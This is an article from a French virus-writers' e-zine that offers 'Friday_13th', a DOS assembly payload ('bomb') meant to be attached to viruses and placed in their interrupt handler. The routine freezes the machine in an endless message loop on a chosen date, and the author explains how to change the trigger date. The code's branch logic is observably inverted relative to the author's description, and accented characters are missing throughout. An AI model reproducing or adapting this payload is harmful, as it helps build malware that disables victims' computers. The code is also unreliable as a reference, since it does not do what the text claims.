-------[  RtC Mag, At the end of the universe  ]

--------------[  La Bombe du mag : Friday 13th  ]
---------[ in RtC mag 1 ]
----[  by Androgyne <androgyne-rtc@fr.st>  ]


-------[  La Bombe du mag


    Dans chaque mag j'essaierai de crer une petite bombe muni de sa gachette. Le but n'est pas de tout faire exploser mais de rendre les bombes subtiles voire amusantes. Pour ceux qui croient encore que les virus peuvent causer des dommages matriels, je tiens  dire que cela est faux. J'aurai l'occasion de revenir sur le sujet dans un prochain mag...


-------[  Friday 13th


    Quoi qu'il en soit, voil la premire bombe que j'ai baptis Friday_13th. Elle peut tre colle  toutes sortes de virus (mais elle est trs efficace et bien plus amusante pour les virus boot). Sa gachette est simple, elle se dclenche tous les vendredi 13 et empche tout programme de fonctionner ce jour l en affichant 'You have no luck today, your computer does not work.'. Le meilleur endroit pour coller cette routine est bien videmment le gestionnaire d'interruption du virus. Ainsi, quoi que le PC fasse ce jour l, il est quasiment certain de tomber sur cette bombe.

--- FRIDAY13TH.ASM ------------------------------------------------------------

Friday_13th:
	mov ah,2Ah
	int 21h
	cmp dl,13		;is it the 13th?
	jz Not_today
	cmp al,5		;is it friday?
	jz Not_today
	cli

Looping:
	mov dx,offset msg
	mov ax,0900h
	int 21h
	jmp Looping		;the devilish loop

Not_today:			;wait until next friday 13th
	ret

msg db 'You have no luck today, your computer does not work.$'

--- FRIDAY13TH.ASM ------------------------------------------------------------


    Et voil, tout simplement...
    Il est bien sr possible d'adapter cette bombe assez simple  n'importe quelle date (anniversaire du crateur du virus, anniversaire de la mise sur le march de Windows 95, nouvel an...). Pour cela, il suffit juste de connatre les paramtres de sortie de la fonction 2Ah de l'interruption 21h. Alors la voil :

--- 21h.2Ah -------------------------------------------------------------------

Fonction 2Ah : Get system date
  paramtres d'entre:
	AH=2Ah
  paramtres de sortie:
	DH=mois (1  12)
	DL=jour du mois (1  31)
	CX=anne (1980  2099)
	AL=jour de la semaine (0=dimanche..6=samedi)

--- 21h.2Ah -------------------------------------------------------------------


-------[  EOF
